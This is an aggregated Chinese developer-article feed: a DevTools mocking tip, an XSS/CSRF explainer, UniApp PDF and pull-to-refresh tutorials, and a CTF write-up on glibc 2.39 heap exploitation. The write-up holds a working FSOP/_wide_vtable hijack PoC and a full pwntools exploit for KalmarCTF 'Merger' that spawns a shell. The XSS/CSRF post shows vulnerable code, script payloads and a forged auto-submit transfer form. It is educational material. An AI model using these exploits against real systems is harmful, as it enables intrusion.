普通视图

发现新文章,点击刷新页面。
今天 — 2025年11月27日技术

诶,这么好用的 mock 你怎么不早说

作者 imoo
2025年11月27日 16:09

前言

老板:小王啊,你 bug 率也太高了,得想想办法,不然扣你绩效。 小王眼里闪过一分无奈二分心酸三分苦涩四分身不由己,很多条件 case、边缘 case 都不好触发,很难自测充分,比如:

  • 新手引导,标识由后端下发,申请个新账号非常麻烦
  • 各类状态的流转,比如 xx 任务失败,但是大多数情况下都走不到失败路线
  • 余额为 0 的情况下的各种 case,测试账号往往都是拉满的余额
  • vip 与普通用户的各种差异点

对这类的情况,就只能盲写,然后手动在代码里改状态来大致看一下效果,就很难模拟出一个完整的流程,会出 bug 也属实正常。

有心急的同学就要说了,mock 呀,用 mock 呀!

话虽如此,但是要使用这一套,一是你需要起服务/开程序、写数据、运行,这一套下来还是比较费时间的。二是此类问题绵绵无绝期,每次都这么搞,时间成本会无限累加。

而且频繁调试往往会弄脏代码,很容易提交上一些调试数据,有没有更简单好用的方案呢?

有的有的(掏出 chrome),这么简单的方案还有一个,那就是我们常打交道的控制台了。

chrome 之替换

这里举个实际例子带大家走一遍,比如我是掘金的前端,我想测试一下文章审核中的样式

image.png

但是总不能回回都重新写一个审核中的文章供自己测试,费时费力。已知审核中的状态由后端 dynamic 接口的 audit_status决定,该状态为 1 时会展示审核中,为 0 时是正常。

先看一下最终实现的效果吧,只需要简单的操作就可以开闭 mock,而且不侵入代码:

20251121172420_rec_.gif

OK,再说下详细使用步骤:

  1. 在网络中找到目标接口 image.png
  2. 右键进行替换 image.png
  3. 如果是首次使用,会有个提示,需要你选择一个文件夹来存放数据 image.png
  4. 此时会进入到替换的编辑页,该页面可能为刚才请求的内容,也有时候为空。 image.png 如果为空的话,可以先去刚才的响应里复制,再贴过来 image.png
  5. 接着就可以自行修改响应的内容了:这里我们把audit_status从0改为1 image.png
  6. ctrl s 保存后,刷新页面即可看到效果 image.png

大功告成,虽然看起来步骤很多,但大多数情况下实际上只需要右键替换,编辑保存两步就完事了,既方便启用,又不侵入代码。

关于XSS和CSRF,面试官更喜欢这样的回答!

2025年11月27日 15:56

这是我们前端最常见的两种攻击手段,也是面试中最常考的前端攻击。这篇文章我用最精炼、最优雅,也是面试官最喜欢的回答方式来讲解下 XSS 和 CSRF。

一、XSS(跨站脚本)

原理

攻击者把 恶意脚本 注入到受信任页面并被浏览器执行,脚本 利用页面的信任上下文(Cookies、localStorage、DOM)窃取数据或劫持会话。

常见类型

  • 反射型(参数或路径直接反射到页面并执行)
  • 存储型(恶意内容存储在服务器,其他用户访问时触发)
  • DOM-based(客户端不安全的 DOM 操作导致执行,和服务器无关)

最小复现示例(不安全的后端 + 不安全的前端)

后端(Express — 危险示例)

// server.js(示例,仅演示不安全行为)
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
  const q = req.query.q || '';
  // 直接把用户输入拼到 HTML 中 —— 危险!
  res.send(`<html><body>搜索: ${q}</body></html>`);
});

app.listen(3000);

访问 /search?q=<script>alert(1)</script> 会执行脚本(反射型)。

前端 DOM XSS(危险)

<div id="out"></div>
<script>
  const q = location.search.split('q=')[1] || '';
  document.getElementById('out').innerHTML = q; // 不转义 —— 危险(DOM XSS)
</script>

实战防范要点

  1. **输出编码(服务器端)**:所有插入 HTML 的内容做 HTML 转义(&<>\"')。
  2. 前端最小化 innerHTML:尽量用框架绑定(React/Vue 的模板)替代 innerHTML

    框架框出来的插值({value} / {{ value }})会自动做 HTML 转义,把 <>&"' 等关键字符替换成实体(&lt; 等),从而把攻击脚本当文本显示,而不是执行。

  3. 富文本白名单清洗:对于必须存储/渲染的 HTML(富文本),后端用白名单 sanitizer(比如 bleach / html-sanitizer),前端再用 DOMPurify 做一次保护,对标签属性等进行清洗。
  4. Content-Security-Policy(CSP)头部:禁止内联脚本、只允许可信源。
  5. HttpOnly Cookie 头部:token/cookie 设置 HttpOnly,防止被脚本直接读取(减轻 XSS 后果)。

示例代码 — 安全改造

后端(Express + 转义)

const escapeHtml = s => String(s)
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');

app.get('/search', (req, res) => {
  const q = escapeHtml(req.query.q || '');
  res.send(`<html><body>搜索: ${q}</body></html>`);
});

前端(若必须渲染 HTML,用 DOMPurify)

<!-- npm install dompurify -->
<script src="https://unpkg.com/dompurify@2.<!--version-->/dist/purify.min.js"></script>
<div id="content"></div>
<script>
  // htmlFromServer 来自后端 API,仍需 sanitize
  const htmlFromServer = '<img src=x onerror=alert(1)>';
  document.getElementById('content').innerHTML = DOMPurify.sanitize(htmlFromServer);
</script>

设置 CSP(Nginx/Express header 示例)

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none';

二、CSRF(跨站请求伪造)

原理

利用用户已登录且浏览器会自动带上凭证(cookie)的特性,攻击者诱导用户发起对受信任站点的请求(如通过自动提交表单或图片请求),从而在用户 名下执行未授权操作。

最小复现示例(攻击者页面)

如果 bank.com/transfer 接受 GET 或 POST 并依赖 cookie 验证,攻击页面可这样写:

<!-- auto.html(在攻击者域名上) -->
<form action="https://bank.com/transfer" method="POST" id="f">
  <input name="to" value="attacker" />
  <input name="amount" value="1000" />
</form>
<script>document.getElementById('f').submit();</script>

用户在已登录 bank.com 的情况下访问攻击页面时,浏览器会自动带上 bank.com 的 cookie,导致转账。

防护要点

  1. SameSite Cookie:把 session/cookie 设置 SameSite=LaxStrict(Lax 对 POST 有保护,适配大多数情形)。
  2. **CSRF Token(同步/双提交)**:服务端生成随机 token,响应给前端;敏感请求必须携带并校验该 token。

    该 token 不同于 jwt token ,此处的 csrf-token 只为配合 session+cookie 传统鉴权策略做安全防护。

  3. 检查 Origin/Referer:对跨站请求校验 OriginReferer 头(通常对 POST/PUT/DELETE 生效)。
  4. 避免用 cookie 做对外 API 的认证:采用 Authorization: Bearer header 的 token 机制(只有 JS 能读/写),结合 CORS 限制。
  5. 敏感操作二次确认:密码/OTP/二次验证。

示例代码(Express + scrf token + csurf)

csurf 使用 **双提交验证机制(CSRF Token)**:

  1. 服务端生成一个 CSRF Token,放在 cookie 或 session 中。
  2. 前端每次发 POST/PUT/DELETE 请求要带上这个 token,常放在请求头或表单隐藏字段,比如:X-CSRF-Token: ey2423482374823748234
  3. 服务端校验 token,是否匹配、是否未过期、是否合法。

后端(Express)

// server.js
const express = require('express');
const cookieParser = require('cookie-parser');
const csurf = require('csurf');

const app = express();
app.use(cookieParser());
app.use(express.json());
app.use(csurf({ cookie: { httpOnly: true, sameSite: 'lax' } }));

app.get('/csrf-token', (req, res) => {
  // 返回 token 给 SPA 前端(用于后续请求 header)
  res.json({ csrfToken: req.csrfToken() });
});

app.post('/transfer', (req, res) => {
  // csurf 中间件会自动校验请求中的 token(_csrf 字段或 X-CSRF-Token header)
  // 执行转账逻辑...
  res.json({ ok: true });
});

app.listen(3000);

前端 SPA(获取 token 并在请求头中发送)

// 初始化时获取 token
async function init() {
  const r = await fetch('/csrf-token', { credentials: 'include' });
  const { csrfToken } = await r.json();
  window.__CSRF_TOKEN = csrfToken;
}

// 发送受保护请求
async function transfer() {
  await fetch('/transfer', {
    method: 'POST',
    credentials: 'include', // 仍然带 cookie
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': window.__CSRF_TOKEN
    },
    body: JSON.stringify({ to: 'bob', amount: 100 })
  });
}

只用 SameSite(简洁替代,适用多数场景),在服务端设置 cookie:

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/;

这就能阻止绝大多数通过第三方页面触发的 POST/跨站敏感操作。

三、XSS 与 CSRF 的关键总结

概念:

  • XSS:攻击者注入脚本并可读取页面内容(更强),根源是输出/DOM 不安全。
  • CSRF:攻击者伪造用户请求,无法直接读取响应,根源是浏览器自动带凭证。

防护:

  1. 后端统一使用 HTML escape 库;富文本走白名单 sanitizer。
  2. 全站 Cookie:HttpOnly; Secure; SameSite=Lax
  3. 对需要的页面开启 CSP(report-only 先观测,再 enforce)。
  4. SPA:首次获取 CSRF token 并在后续请求中以 header 发送;服务端检查 Origin/Referer
  5. CI/代码审查禁止随意使用 innerHTML/eval/dangerouslySetInnerHTML
  6. 对关键操作实施二次验证(密码/OTP)。

UniApp PDF文件下载与预览功能完整实现指南

作者 CyberShen
2025年11月27日 15:49

功能概述

在UniApp开发中,实现PDF文件的下载与预览是一项常见需求。本文将详细介绍如何使用UniApp框架实现这一功能,并提供完整的代码示例和注意事项。以下是完整的实现代码,支持多端兼容和错误处理:

const handleDownload = (item: any) => {
  uni.showLoading({title:'下载中...'})
  // 定义存储路径
  const filePath = `${uni.env.USER_DATA_PATH}/${item.name}.pdf`
  uni.downloadFile({
    url: item.fileUrl,
    success: (data:any) => {
      uni.getFileSystemManager().saveFile({
        tempFilePath: data.tempFilePath,
        filePath: filePath, // 目标路径(可选)
        success: (res1:any) => {
          uni.openDocument({
            filePath: res1.savedFilePath,
            fileType: 'pdf',
            showMenu: true,
            fail: () => {
              uni.showToast({icon:'none',title:'打开失败'})
            },
          });
        },
        fail: err => {
          uni.showToast({icon:'none',title:'保存失败'})
        }
      })
    },
    fail: (err) => {
      console.log(err);
      uni.showToast({
        icon: 'none',
        mask: true,
        title: '失败请重新下载',
      });
    },
    complete: () => {
      uni.hideLoading()
    },
  })
}

实现原理分析

1. 下载流程

UniApp提供了uni.downloadFileAPI用于文件下载,此方法会将远程文件下载到临时路径。下载成功后,通过uni.getFileSystemManager().saveFile()将文件从临时路径保存到指定位置,使其持久化存储。

2. 预览功能

保存成功后,使用uni.openDocumentAPI打开PDF文件。该API会自动调用系统中已安装的PDF阅读器来打开文件,提供良好的用户体验。

多端兼容性处理

不同平台的实现差异

根据目标平台的不同,可能需要采用不同的实现方案:

  1. H5平台:可以使用window.open直接在新标签页打开PDF链接
  2. 微信小程序:需在微信公众平台配置downloadFile合法域名
  3. APP端:可使用上述代码实现,也可集成原生PDF插件获得更好体验

多端兼容代码示例

exportPDF() {
  // #ifdef H5
  window.open(pdfUrl)
  // #endif
  
  // #ifdef MP-WEIXIN
  uni.downloadFile({
    url: pdfUrl,
    success: res => {
      if (res.statusCode === 200) {
        uni.openDocument({
          filePath: res.tempFilePath,
          showMenu: true,
          success: function(file) {
            console.log("文件打开成功")
          }
        })
      }
    }
  })
  // #endif
  
  // #ifdef APP-PLUS
  // 使用前面提供的handleDownload方法
  // #endif
}

优化与扩展功能

1. 自定义保存路径

默认情况下,文件保存在应用沙盒目录内。如需保存到用户自定义目录(如手机存储的特定文件夹),可以使用以下方法:

// Android平台保存到自定义目录
const downLoadFile = (file) => {
  let dtask = plus.downloader.createDownload(file.fileUrl, {
    filename: "file://storage/emulated/0/自定义文件夹/" + file.originalName
  }, function(d, status) {
    if (status == 200) {
      let fileSaveUrl = plus.io.convertLocalFileSystemURL(d.filename)
      plus.runtime.openFile(d.filename)
    }
  })
  dtask.start()
}

2. 下载进度显示

可以添加进度监听,提升用户体验:

const downloadTask = uni.downloadFile({
  url: item.fileUrl,
  success: (data) => {
    // 成功处理
  }
})

downloadTask.onProgressUpdate((res) => {
  console.log('下载进度' + res.progress)
  console.log('已下载' + res.totalBytesWritten)
  console.log('总大小' + res.totalBytesExpectedToWrite)
})

3. 使用PDF.js实现内嵌预览

对于需要应用内预览的场景,可以集成PDF.js:

<template>
  <web-view :src="webViewUrl"></web-view>
</template>

<script>
export default {
  data() {
    return {
      pdfUrl: '',
      webViewUrl: ''
    }
  },
  onLoad(options) {
    this.pdfUrl = options.url
    // 使用PDF.js的viewer.html预览
    this.webViewUrl = `/static/pdfjs/web/viewer.html?file=${encodeURIComponent(this.pdfUrl)}`
  }
}
</script>

常见问题与解决方案

1. 文件打开失败

  • 原因:设备上没有安装PDF阅读器
  • 解决方案:提示用户安装相关应用,或使用PDF.js等在线预览方案

2. 下载权限问题

  • Android平台:需要申请存储权限
// 申请存储权限
plus.android.requestPermissions([
  'android.permission.WRITE_EXTERNAL_STORAGE',
  'android.permission.READ_EXTERNAL_STORAGE'
], successCallback, errorCallback)

3. 域名白名单限制

  • 微信小程序:需在微信公众平台配置downloadFile合法域名

4. 二进制流文件处理

如果后端返回的是文件流而非直接链接,需要特殊处理:

uni.request({
  url: fileUrl,
  responseType: 'arraybuffer',
  success: (response) => {
    let blob = new Blob([response.data], {type: 'application/pdf;charset=UTF-8'})
    let pdfUrl = window.URL.createObjectURL(blob)
    // 使用此URL进行预览或下载
  }
})

总结

本文详细介绍了在UniApp中实现PDF文件下载与预览的完整方案。核心代码使用了uni.downloadFileuni.openDocumentAPI,具有良好的跨平台兼容性。针对不同平台和特殊需求,也提供了相应的优化方案和扩展功能。关键点总结:

  1. 核心流程:下载→保存→预览
  2. 多端兼容:通过条件编译实现各平台最佳体验
  3. 用户体验:添加进度提示和错误处理
  4. 灵活扩展:支持自定义路径和内嵌预览等功能

此方案已在多个项目中实践验证,稳定可靠,可以作为UniApp项目文件处理的基础实现。

浅谈glibc2.39下的堆利用

2025年11月27日 15:44

glibc2.34以后取消了__free_hook以及__malloc_hook,因此需要找到一个可以控制程序执行流程的函数指针代替__free_hook以及__malloc_hook

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

在结构体_IO_FILE_plus中存在着类似于虚表的变量vtable,其中存储着许多函数指针。

image-20251009194102943

若能修改vtable指针并指向我们伪造的vtable,即可达成劫持程序执行流程的目的。

但是在glibc2.24之后加入了vtable指针的校验,简单来说就是会检测vtable指针是否在范围之内。因此在glibc2.24之后,需要找在范围内的vtable指针加以利用。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//计算在glibc中vtable指针的范围
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判断当前vtable指针与起始位置的偏移
  if (__glibc_unlikely (offset >= section_length)) //若偏移大于最大距离则校验失败
    _IO_vtable_check ();
  return vtable;
}

glibc范围内存在着名为_IO_wfile_jumpsvtable指针。该跳转表中存在着一个特殊的函数_IO_wfile_overflow

image-20251009195029742

调用流程如下所示,简单来讲_IO_wfile_overflow最终调用的是_IO_wdoallocbuf将宏拆解,实际最终调用的是fp->_wide_data->_wide_vtable,而在调用fp->_wide_data->_wide_vtable的时候并没有检测vtable的合法性,因此倘若我们能够伪造__wide_data就能够控制_wide_vtable变量,最后将该跳转表内容修改为system,即可完成程序流程的劫持。

/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  //#define _IO_NO_WRITES         0x0008
  //f->_flags & _IO_NO_WRITES == 0
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  //#define _IO_CURRENTLY_PUTTING 0x0800
  //f->_flags & _IO_CURRENTLY_PUTTING == 0
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      //f->_wide_data->_IO_write_base == 0
      if (f->_wide_data->_IO_write_base == 0)
{
      //满足上述条件执行fp->_wide_data->_wide_vtable
  _IO_wdoallocbuf (f);
  ...

void
_IO_wdoallocbuf (FILE *fp)
{
  //fp->_wide_data->_IO_buf_base == 0
  if (fp->_wide_data->_IO_buf_base)
    return;
  //#define _IO_UNBUFFERED        0x0002
  //fp->_flags & _IO_UNBUFFERED == 0
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  ...

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

根据上述源码我们可以知道,想要执行_IO_wdoallocbuf需要满足以下几个条件

  • f->_flags & _IO_NO_WRITES == 0

  • f->_flags & _IO_CURRENTLY_PUTTING == 0

  • f->_wide_data->_IO_write_base == 0

  • fp->_wide_data->_IO_buf_base == 0

  • fp->_flags & _IO_UNBUFFERED == 0

想要让程序执行_IO_wfile_overflow函数需要触发以下调用链

image-20251009221543800

_IO_cleanup函数的作用是清理所有打开的标准I/O流,因此在程序退出时就会调用。

image-20251009221812005

_IO_cleanup函数调用如下所示,实际内部执行的函数为_IO_flush_all

int
_IO_cleanup (void)
{
    ...
  int result = _IO_flush_all ();
    ...
}

int
_IO_flush_all (void)
{
    ...
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
          ...
}

_IO_list_all执行的列表顺序为stderr->stdout->stdin,因此我们可以通过修改stderr->_wide_datastderr->vtable就可以优先触发利用链,但是依旧需要满足以下限制条件:

  • fp->_mode == 0

  • fp->_IO_write_ptr > fp->_IO_write_base

POC

根据上述条件,总结POC如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
    void *funcs[27]; // 伪占位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long  *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
    //_IO_wide_data结构大小为0xe8
    fake_IO_wide_data = (long *)malloc(0xe8);
    //跳转表结构大小为0xe8
    fake_wide_vtable = (long *)malloc(0xa8);
    //glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
    _IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
    stderr->_wide_data = fake_IO_wide_data;
    stderr->_IO_write_ptr = 1;
    stderr->_IO_write_base = 0;
    *(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
    *(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
    //0xfbad为魔数,0x0101是为了拼接后续的sh字符串
    memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
    return 0;
}

python脚本

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)

例题

KalmarCTF 2025-Merger

image-20251016101218782

merge功能中堆块是通过realloc函数对srcdst堆块进行合并,合并完成之后,使用free函数对src堆块进行释放。但是这里存在一个漏洞点,没有限制srcdst堆块的下标,使得srcdst堆块的下标可以设置为同一个值。

realloc函数在重新分配堆块时会出现以下情况:

  1. 当重新申请的堆块的size小于当前堆块的size,则realloc会分割当前堆块

  2. 当重新申请的堆块的size大于当前堆块的size,则realloc会先free当前堆块,再malloc申请的size

结合merage功能,当以条件二执行realloc函数时会执行free(s)并紧接着执行free(src),因此当s=src时,就会导致double free漏洞。

想要利用上述double free漏洞,则需要满足以下条件:

  • realloc申请的堆块要比合并的堆块大(以条件二方式执行realloc函数)

  • double free的堆块size需要小于0x100,否则申请不到(add功能最大只能申请0xff堆块)

漏洞利用流程

  • 设置srcdst的下标为相同值

  • malloc(0xf7)的堆块放置在unsortbin中,紧接着src堆块从unsortbin中申请,这样就能够满足double free的堆块size小于0x100

  • src堆块从unsortbin中申请,当以条件二方式执行realloc函数时则执行:

    • free(src)

    • 触发unlinksrc堆块合并回unsortbin

  • 紧接着执行merge函数的free(src),则src会放在tcachebin中,则构造出uaf漏洞,泄露libc地址

  • 后续将src堆块放进fastbin中,构造double free漏洞,当相应大小的tcachebin被申请完毕后,fastbin中的堆块会被放置在tcachebin中,从而变相构造出Tcache Poisoning

  • 利用Tcache Poisoning指向堆块(size大于0xe0,由于io_file结构体需要0xe0大小的空间)

  • 利用io_file获得shell

EXP

from pwn import *

sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64) 

def add(index,size,data):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))
    sh.recvuntil("ize: ")
    sh.sendline(str(size))
    sh.recvuntil("ta: ")
    sh.send(data)
    

def delete(index):
    sh.recvuntil("> ")
    sh.sendline("2")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))


def show(index):
    sh.recvuntil("> ")
    sh.sendline("3")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))

def merge(dst,src):
    sh.recvuntil("> ")
    sh.sendline("4")
    sh.recvuntil("st: ")
    sh.sendline(str(dst))
    sh.recvuntil("src: ")
    sh.sendline(str(src))

for i in range(7):
    add(i,0x87,0x87*'a')
for i in range(7):
    add(i+7,0xf7,0xf7*'a')
    
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')

for i in range(7):
    delete(i+7)
delete(15)
add(14,0x87,0x87*'a')

for i in range(7):
    delete(i)

for i in range(7):
    add(i,0xf0,0xf0*'a')

#堆块同时释放在unsortbin与tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修复unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆块20与堆块21指向同一个堆块,一个从tcachebin中申请,一个从unsortbin中申请
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)

for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(7):
    delete(i)
delete(21)
show(20)  #uaf泄露数据
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)

for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(3):
    add(i+7,0xf7,0xf7*'a')
for i in range(3):
    delete(i+7)
#0x77的堆块大小不足以存储IO_File结构体,因此需要利用Tcache Poisoning指向0x100的堆块
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()

uniapp实现上拉刷新和下拉刷新的两种方式

作者 chen77
2025年11月27日 15:34

一.自己实现

1.实现步骤

微信小程序的页面级下拉刷新依赖:

{
  "enablePullDownRefresh": true
}

然后在页面写:

onPullDownRefresh(() => {
  ...
})

onReachBottom(() => {
  ...
})

2.需要解决的问题

  • 上拉时文字 ''加载中...", ''没有更多了''的切换
  • 触底时loading的加载
  • 触底判断当前list的长度和后端返回的total长度比较,去判断当前是''加载中''还是''没有更多了''
  • 数据的拼接处理,downloadClassList.value = [...downloadClassList.value, ...res.rows];
  • 下拉加载onPullDownRefresh时需要处理请求页数的问题

3.不足

  • onPullDownRefresh手机呈现的效果是**“整个页面一起拉下来”**,也就是页面级的。当你页面顶部有搜索框、tabs 等内容时, 微信小程序原生的 enablePullDownRefresh 会一起被下拉,体验很差。
  • 相对复杂,需要自己去实现判断后端的总数据total和数据list长度;来维护hasMore从而控制是否还需要请求,是否需要loading等

4.具体代码示例

<template>
  <view class="downloadHistory">
    <view class="topSearch">
      <van-dropdown-menu active-color="#29a1f7">
        <van-dropdown-item :value="resourceClass" :options="option1" @change="selectClass" />
      </van-dropdown-menu>
    </view>
    <view class="downloadCollection" v-if="downloadClassList.length !== 0">
      <view class="downloadCard" v-for="(item, key) in downloadClassList" :key="key" @click="toDownloadList(item)">
        <van-image width="100" height="75" :src="item.coverUrl" />
        <view class="picInfo">
          <view class="picTitle">{{ item.name }}</view>
          <view class="picNum">
            <span class="mr-20">{{ item.videoNum }}视频</span><span>{{ item.pictureNum }}图片</span>
          </view>
        </view>
      </view>
      <!-- 加载状态 -->
      <view class="loading-status">
        <van-loading v-if="loading" type="spinner" size="32rpx"> 加载中... </van-loading>
        <text v-else-if="!hasMore && downloadClassList.length > 0" class="no-more"> - 没有更多了 - </text>
      </view>
    </view>
    <view class="null-page" v-else>
      <van-empty description="暂无数据" />
    </view>
  </view>
</template>

<script setup>
import { onMounted, ref } from 'vue';
import { queryDownload } from '@/api/downloadHistory.js';
import { onShow } from '@dcloudio/uni-app';
import { onReachBottom, onPullDownRefresh } from '@dcloudio/uni-app';

const resourceClass = ref('');

const option1 = ref([
  { text: '全部记录', value: '' },
  { text: '文旅景区', value: 'scenic' },
  { text: '体育赛事', value: 'event' },
]);

const page = ref(1); // 表示下一次要请求的页码,初始请求为 1
const pageSize = 10;
const loading = ref(false);
const hasMore = ref(true);
const total = ref(0);
const downloadClassList = ref([]);

function selectClass(event) {
  downloadClassList.value = [];
  resourceClass.value = event.detail;
  loadMore();
}

// 前往下载列表
function toDownloadList(item) {
  uni.navigateTo({
    url: '/pages/downloadList/index',
    success: res => {
      res.eventChannel.emit('recordFolder', item);
    },
  });
}

// loadMore:refresh 为 true 时表示下拉刷新/重新加载第一页
async function loadMore(refresh = false) {
  // 并发保护(防止重复请求)
  if (loading.value) return;
  loading.value = true;

  const token = uni.getStorageSync('token');
  if (!token) {
    loading.value = false;
    uni.navigateTo({ url: '/pages/loginPage/index' });
    return;
  }

  try {
    if (refresh) {
      // 请求第一页
      const res = await queryDownload(
        {
          originType: resourceClass.value,
          pageNum: 1,
          pageSize,
        },
        token
      );

      // 覆盖数据
      downloadClassList.value = res.rows || [];
      total.value = res.total || (res.rows ? res.rows.length : 0);

      // 如果返回的行数小于 pageSize,说明没有更多
      hasMore.value = downloadClassList.value.length < total.value;

      // 重要:refresh 后把 page 设为下一页(2)
      page.value = 2;
    } else {
      // 非刷新场景,请求 page(page 表示下一次要请求的页码)
      if (!hasMore.value) {
        loading.value = false;
        return;
      }

      const res = await queryDownload(
        {
          originType: resourceClass.value,
          pageNum: page.value,
          pageSize,
        },
        token
      );

      const rows = res.rows || [];

      // 追加数据
      downloadClassList.value = [...downloadClassList.value, ...rows];
      total.value = res.total || total.value;

      // 成功追加后,page 自增为下一次要请求的页码
      page.value = page.value + 1;

      // 如果本次返回的数量 < pageSize 或 当前长度 >= total,则没有更多
      if (rows.length < pageSize || downloadClassList.value.length >= total.value) {
        hasMore.value = false;
      } else {
        hasMore.value = true;
      }
    }
  } catch (err) {
    console.error('loadMore error', err);
    // 请求失败时不改变 page(避免乱跳),并可视需要设置 hasMore / 显示错误
  } finally {
    loading.value = false;
  }
}

// 下拉刷新:调用 loadMore(true),并等待完成再停止刷新动画
onPullDownRefresh(async () => {
  if (loading.value) return; // 避免同时下拉和触底并发
  console.log('pull down refresh');
  await loadMore(true);
  // 结束下拉动画
  uni.stopPullDownRefresh();
});

// 触底加载:await loadMore(),并依赖 hasMore 控制
onReachBottom(async () => {
  // 防止重复触发
  if (loading.value || !hasMore.value) return;

  await loadMore(false);
});
// dom挂载加载一次
onMounted(() => {
  // getDownload();
});
// 每次进入页面加载一次
onShow(() => {
  downloadClassList.value = [];
  page.value = 1;
  loadMore();
});
</script>

<style lang="scss" scoped>
.downloadHistory {
  min-height: 100vh;
  background-color: #f5f5f5;
}

.topSearch {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 99;
}

.downloadCollection {
  padding: 30rpx;
  padding-top: 130rpx;
}

.downloadCard {
  background-color: #fff;
  border-radius: 8rpx;
